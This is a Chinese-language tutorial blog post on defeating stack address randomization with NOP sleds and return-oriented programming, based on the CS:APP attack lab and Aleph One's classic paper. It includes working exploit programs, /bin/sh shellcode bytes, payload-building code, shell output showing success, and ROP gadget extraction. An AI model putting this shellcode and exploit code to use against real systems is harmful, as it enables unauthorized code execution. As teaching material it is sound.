栈帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。

第一次遇到这个问题是在做cs:app3e/深入理解操作系统attacklab实验的时候,后来在做学校的一个实验的时候也碰到了这个问题,最近在看一篇“上古黑客”写的文章的时候又碰到了这个问题,所以写一篇博文总结一下我了解的两种对抗思路。


1. NOP slide

注:以下环境基于Linux IA-32

第一种思路是NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。

使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。

很多时候我们是把注入的代码放在存在溢出问题的缓冲区中的(例如一个execve指令),然后将缓冲区所在栈帧的返回地址淹没为缓冲区的起始地址,这样回收栈帧返回时%rip就会转向到缓冲区的位置,随后开始执行我们注入的指令。如下所示,其中S代表我们注入的指令,0xD8代表了buffer的起始地址:

           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack

而问题就在于在地址随机化的情况下我们需要完全准确的猜中buffer的起始地址(下文中使用“命中”这个词代指),而这是非常低效的——我们可能要成千上万次才能发生一次命中。究其根本原因就是必须命中一个点,如果我们能够将命中范围扩大,命中的几率也会上升——这就是我们插入大量NOP指令的原因。大多数处理器都有这个“null 指令”,它除了使%rip指向下一条指令外没有别的用处,通常用来进行对齐或者延时。如果我们将注入的代码放在buffer的高地址处,低地址处全部放上连续的NOP指令,这样我们只需要命中低地址的任何一个ROP指令,最终都会滑动到注入的代码部分,如下所示,N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置。

           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack

演示代码:

vulnerable.c

void main(int argc, char *argv[]) {
char buffer[512]; if (argc > 1)
strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */
}

exploit.c

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
} void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i; if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */ if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
} addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr); ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */
*(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,为payload的一半大小 */
buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) /* 再填入shellcode */
*(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash"); /* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */
}

攻击:

[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$

第一次即成功命中 ; )

1.1 Small Buffer Overflows

有些时候存在溢出漏洞的缓冲区很小,我们不能完整的注入攻击代码,或者说能够注入的NOP指令很少,命中的概率还是很低。但是如果我们能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制(将返回地址改成该环境变量在内存中的地址。

当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()设置的环境变量会在存放在别处,一开始栈是这个样子:

  <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

我们要做的就是使得一个新的shell环境下新增一个包含攻击payload的环境变量:

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90 char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
} void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]); /* 环境变量中存放payload的空间大小 */ if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
} addr = get_esp() - offset; /* 猜测环境变量存在的地址 */
printf("Using address: 0x%x\n", addr); ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 将buffer中完全填充为猜测的环境变量的地址 */
*(addr_ptr++) = addr; ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) /* 将环境变量设置为NOP+shellcode */
*(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i]; buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); /* 设置环境变量, 一个是待会作为参数的RET,另一个是RET要命中的EGG */
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}

攻击

[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$

成功命中$EGG ; )

1.2 IP relative addressing instructions

刚刚上面讲到了如何将执行流转到我们注入的攻击代码处,但是在实际使用时又会产生一个新的问题:如果攻击代码需要使用绝对地址怎么办。我们可以利用JMP和CALL这两个使用%rip相对地址寻址的指令获得对应位置的绝对地址,由于JMP和CALL指令不需要知道目标的绝对地址,而CALL指令执行的时候会将下一条指令的绝对地址存入栈中,我们就可以结合JMP和CALL及POP指令获得绝对地址。如下所示,我们要获得ssssss("/bin/sh")对应的绝对地址,JJ代表JMP指令,CC代表CALL指令,执行顺序用(1)(2)(3)标出:

           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack

对应的伪代码如下:

    jmp    offset-to-call           # 2 bytes
popl %esi # 1 byte 将刚刚push的"/bin/sh"的绝对地址取出
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes execve(name[0], name, NULL);
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes exit(0)
call offset-to-popl # 5 bytes 将执行流转到第二行的pop处,并把高地址的"/bin/sh"的绝对地址push进栈中
/bin/sh string goes here.

计算偏移量,得到最终的payload:

    jmp    0x26                     # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes

1.3 Avoid null bytes

很多时候我们的输入都是从终端输入,程序使用scanf等等函数接收输入。如果我们指令中含有null ’\0'这样的字节,就可能会发生截断问题,导致payload后部分输入不能被读入,这个时候就需要给payload中的指令做一些替换,例如:

           替换前:                				  替换后:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

转换之后的payload:

        jmp    0x1f                     # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes

2. Return-Oriented Programming

注:以下环境基于Linux x86-64

第二种思路简称ROP攻击,是代码复用技术的一种。 思路是将执行流转向内存中存在的机器指令,这些指令可能是该程序本身包含的.text处的指令,也可能是各种库之中的,虽然内存中几乎不可能存在完整的攻击指令,但是我们可以找到很多指令片段(称为"gadgets"),其中每一个gadget的最后都是ret指令,所以最后会返回到我们控制的栈中指示的下一个gadget的地址处,依次将所有栈中指示的gadget执行一遍,通过这些"gadgets"的组合,我们就可以达到完整攻击的目的。ROP可以绕过栈帧地址随机化、限制可执行代码区域、代码签名等安全措施。

使用前提:未开启栈破坏检测(canary)。

攻击方式如下所示,其中栈由上向下生长(c3是ret指令):

有人可能会问,即使我们能够利用现成的指令, 但是一些特定的指令还是可能没有,例如在返回前popq %rdi(不是callee saved)这样的指令就很难存在。实际上,我们不仅可以使用“现成”的“完整”指令,还可以将一个长的指令拆开,利用其中分解出的指令。举个栗子:

我们在内存中找到这样一个函数

void setval_210(unsigned *p)
{
*p = 3347663060U;
}

看起来这个函数的功能对我们的攻击没什么用,因为他是将一个特定的常数赋值给指定的内存块。

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

但是,如果我们将这个指令拆开,查找指令表:

可以发现48 89 c7可以对应到movq %rax, %rdi,接着也是一个c3 ret指令。所以我们就可以使用这个gadget了,它的功能是将%rax赋值给%rdi。需要注意的是这个函数的起始地址为0x400f15,我们的gadget从第四个字节开始,所以我们在栈帧中给这个gadget的地址应该为0x400f18。

寻找gadget的开源工具网上有很多,大家可以找找。


参考:

  1. Smashing The Stack For Fun And Profit 这是Phrack上的一篇古老的文章,写于1996年,文中有一些方法和操作已经过时了,但是思路很好。另外,Phrack真的是一个很好的资源地,以后有时间会多多翻译的。
  2. Attack Lab Writeup CMU的深入理解计算机系统实验课指导。
  3. putenv() and setenv() 关于setenv()putenv()的区别

对抗栈帧地址随机化/ASLR的两种思路和一些技巧的更多相关文章

  1. 点击页面div弹窗以外隐藏的两种思路

    在本文为大家介绍两种思路实现点击页面其它地方隐藏该div,第一种是对document的click事件绑定事件处理程序.. 第一种思路分两步 第一步:对document的click事件绑定事件处理程序, ...

  2. 使用 CUDA 进行计算优化的两种思路

    前言 本文讨论如何使用 CUDA 对代码进行并行优化,并给出不同并行思路对均值滤波的实现. 并行优化的两种思路 思路1: global 函数 在 global 函数中创建出多个块多个线程对矩阵每个元素 ...

  3. 把JSON数据载入到页面表单的两种思路(对easyui自带方法进行改进)

    #把JSON数据载入到页面表单的两种思路(对easyui自带方法进行改进) ##背景 项目中经常需要把JSON数据填充到页面表单,一开始我使用easyui自带的form load方法,觉得效率很低,经 ...

  4. C++关于数字逆序输出的两种思路,及字符串逆序输出

    C++关于数字逆序输出的两种思路,及字符串逆序输出 作者:GREATCOFFEE 发布时间:NOVEMBER 15, 2012 分类:编程的艺术 最近在跟女神一起学C++(其实我是不怀好意),然后女神 ...

  5. php 冒泡排序的两种思路以及优化

    php冒泡排序,两种思路,时间复杂度都是O(n^2),当然最优的时间复杂度就是O(n),以下说的都是正序排列(倒序的话,把内层循环的大于号换成小于号就好了) 第一种冒泡排序 思路就是把第一个数跟所有的 ...

  6. 第七篇:使用 CUDA 进行计算优化的两种思路

    前言 本文讨论如何使用 CUDA 对代码进行并行优化,并给出不同并行思路对均值滤波的实现. 并行优化的两种思路 思路1: global 函数 在 global 函数中创建出多个块多个线程对矩阵每个元素 ...

  7. Java实现快排+小坑+partition的两种思路

    在做一道剑指Offer的题的时候,有道题涉及到快排的思路,一开始就很快根据以前的思路写出了代码,但似乎有些细节不太对劲,自己拿数据试了下果然.然后折腾了下并记录下一些小坑,还有总结下划分方法parti ...

  8. WebGIS中解决使用Lucene进行兴趣点搜索排序的两种思路

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/. 1.背景 目前跟信息采集相关的一个项目提出了这样的一个需求:中国银行等 ...

  9. php爬虫的两种思路

    写php爬虫可能最大的问题就是php脚本执行时间的问题了,对于这个问题,我找到了两种解决方法. 第一种通过代码set_time_limit(0)或者ini_set("max_executio ...

随机推荐

  1. 专用管理连接(DAC)和单用户模式

    数据库运维人员,在维护数据库时,有时会遇到一些特殊的情况,例如,SQL Server实例无法访问,此时需要用到管理员在紧急情况下专用的连接:有时,在做一些系统级别的配置修改时,当前数据库不能被其他用户 ...

  2. JVM 菜鸟进阶高手之路九(解惑)

    转载请注明原创出处,谢谢! 在第八系列最后有些疑惑的地方,后来还是在我坚持不懈不断打扰笨神,阿飞,ak大神等,终于解决了该问题.第八系列地址:http://www.cnblogs.com/lirenz ...

  3. Java中增强for循环的用法

    此方法在jdk1.5之后才出现. 1:遍历数组 语法: for (Type value : array) { expression value; } 例子: void Sum() { int[] ar ...

  4. CSS的常用属性

    刚开始学习前段的我,还处于初级阶段,一些东西还是会有搞不明白的时候,还是要大家多多理解.今说就一些关于CSS的常用属性吧! 一.CSS常用选择器 CSS选择器应该说是一个非常重要的工具吧,选择器用得好 ...

  5. 【 js 基础 】关于this

    this 关键字是 Javascript 中很特别的一个关键字,被自动定义在所有函数的作用域中.this提供了一种更优雅的方式隐式"传递"一个对象的引用.今天就来说说 this 的 ...

  6. XCode消除警告、错误

    1.集成支付宝SDK后,报一堆warning: (arm64) /Users/scmbuild/workspace/standard-pay/.....警告 解决方法: 1)  Go to Build ...

  7. 云计算之openstack ocata 项目搭建详细方法

    之前写过一篇<openstack mitaka 配置详解>然而最近使用发现阿里不再提供m版本的源,所以最近又开始学习ocata版本,并进行总结,写下如下文档 OpenStack ocata ...

  8. 《effective Go》读后记录

    一个在线的Go编译器 如果还没来得及安装Go环境,想体验一下Go语言,可以在Go在线编译器 上运行Go程序. 格式化 让所有人都遵循一样的编码风格是一种理想,现在Go语言通过gofmt程序,让机器来处 ...

  9. JS 数据处理技巧及小算法汇总( 一)

    前言: 金秋九月的最后一天,突然发现这个月博客啥也没更新,不写点什么总觉得这个月没啥长进,逆水行舟,不进则退,前进的路上贵在坚持,说好的每个月至少一到两篇,不能半途而废!好多知识写下来也能加深一下自身 ...

  10. Nginx 1.10.1 版本nginx.conf优化配置及详细注释

    Nginx 1.10.1 的nginx.conf文件,是调优后的,可以拿来用,有一些设置无效,我备注上了,不知道是不是版本的问题,回头查一下再更正. #普通配置 #==性能配置 #运行用户 user ...